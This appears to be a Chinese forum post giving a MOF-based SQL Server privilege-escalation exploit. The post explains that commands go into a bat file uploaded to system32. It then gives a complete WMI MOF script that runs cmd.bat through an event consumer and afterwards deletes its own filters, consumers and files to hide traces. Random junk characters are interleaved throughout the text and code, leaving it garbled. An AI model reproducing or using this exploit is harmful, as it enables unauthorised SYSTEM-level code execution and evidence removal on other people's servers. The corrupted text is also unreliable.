这个sql提权MOF需要运行 system下的文件,不能定义路径。
: @2 [% I% h+ I% c" O需要将要运行的命令写入到bat上传到system32目录,然后执行。6 ] @$ c. x8 u1 \
) D4 G- ?& G" r3 P7 e* W9 Z这个sql提权MOF需要运行 system下的文件,不能定义路径。
# K0 r7 t! e& z; i" h I$ T需要将要运行的命令写入到bat上传到system32目录,然后执行。5 w9 s! ~+ s7 [: y
8 S- S' Y) G; ]. k, J#pragma
2 _1 [; A6 o7 C: d8 \, l0 w namespace("\\\\.\\root\\cimv2")
) a0 X5 G; v* p) | class9 m, A; s/ ~( n6 s
MyClass547! p' Q6 r! ?. ~' q- h3 D& J
{ [key]
/ j3 D- Q0 ]/ K( f- ~0 P7 w! k string
# Y1 |! D7 Y* N2 ~" S9 `+ m" |/ z Name;
9 W* y5 S; l& M: K9 Y8 d2 ] };
8 u! h2 }' ]5 Y& ? class3 V c" m2 r* z/ }5 T
ActiveScriptEventConsumer
$ S; K/ ~$ v. ^7 G : __EventConsumer { [key]* H! G, t2 c* G6 y0 z7 N
string) Z. f+ v, V& ?
Name; [not_null]4 k$ L5 P" F* `7 m4 ^
string
f7 I: d6 w2 c ScriptingEngine; string
3 ]) _; O6 H# }) g ScriptFileName; [template]5 a3 V- Q' j( P0 A9 Q
string
" K& Z6 b- m# k5 C$ Y ScriptText; uint32 KillTimeout;) S `4 t( a3 J
}; instance of __Win32Provider as $P {2 C1 f- G; F' N. c0 k2 x3 R( P
Name
8 [1 t5 b) y6 ?4 w/ I' k =0 o. F# L/ v- E- a( i
"ActiveScriptEventConsumer"; CLSID =
* H# p2 y. k% A' e/ a0 _2 ~ "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";$ n, Z7 u/ i% W2 e, q
PerUserInitialization/ T7 B+ M1 p* j
= TRUE;
2 m- O" g3 w8 ~. V }; instance of __EventConsumerProviderRegistration { Provider& J7 p6 N: Q4 v; q. t7 U# l' |
= $P; ConsumerClassNames6 D9 b, v5 c6 y/ V2 O3 x3 w/ f
=- Y" j; l; d( e3 n) Q2 |5 i
{"ActiveScriptEventConsumer"};
. \. |# w* p, y2 @ };
. N& G# C$ V' H) Q" z$ y Instance of ActiveScriptEventConsumer3 v2 G4 T8 a- H/ i9 e" [
as $cons { Name
% [; s) T; w3 g M+ Q8 q =
0 t8 \- w) t1 G& e" W' K* P) a "ASEC"; ScriptingEngine# T7 |; q7 p' I! ]* O/ @
=
2 h! C6 S6 v- c* [. X9 H) P) y "JScript"; ScriptText) [; I. X# ^9 j
=
5 g7 J% y9 m* X2 ~) b( ?% E: g: m "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
0 e) n1 a- N6 I Instance of ActiveScriptEventConsumer. u% X! o8 b' I8 g* l8 f- h! M
as $cons2 { Name% P: [3 }2 m* `& e+ ]
=' _) C# `7 W4 e$ P" P
"qndASEC"; ScriptingEngine
( f3 R" ^; s) o7 m! Y* B; Q# @ =
7 b3 O$ {4 s' d5 O "JScript"; ScriptText
# [5 n2 g5 P% |, ~; M" x/ c" Q =
9 ?3 f' E! C# } "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
3 w' e2 N4 S/ \5 Y4 z0 X }; instance of __EventFilter as $Filt { Name
1 t% ~# ~4 _ l. D$ t$ X =
; R, N" j* K& w" d) y "instfilt"; Query
7 t5 a6 t& w3 x, h5 m z =: X+ A! N! j* n/ L
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
4 T- C3 P' L7 O2 {& U6 b, }, s =+ p" U9 H: s' R& t
"WQL"; }; instance of __EventFilter as $Filt2 { Name; C4 g+ C) ^8 J
=/ s3 t; X0 o: h8 X
"qndfilt"; Query! v0 G2 P g, ^$ ]1 Y, P/ x6 W
=$ F' f: D( X. E% ^) ^
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
C- y u: _. N/ K =, c n. m% H" k6 `! s
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer! O9 p+ J6 f9 E" W8 t
= $cons; Filter
0 Y; k4 I I- l) q' j6 | = $Filt;" ] b, ]5 d3 \5 [" h4 L
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
! l; q6 L' v( L) I3 z" B" O = $cons2; Filter
" ]& p3 J: {6 m+ C1 M8 L6 K = $Filt2;
9 J3 |0 E% c3 s5 H6 I+ Z }; instance of MyClass547
; r& p# @5 q* e2 j as $MyClass { Name
) G" A" s/ U% Y9 A =5 N0 ?' T0 r# G& S) W! d2 R
"ClassConsumer";
) K/ H. U: t* K }; |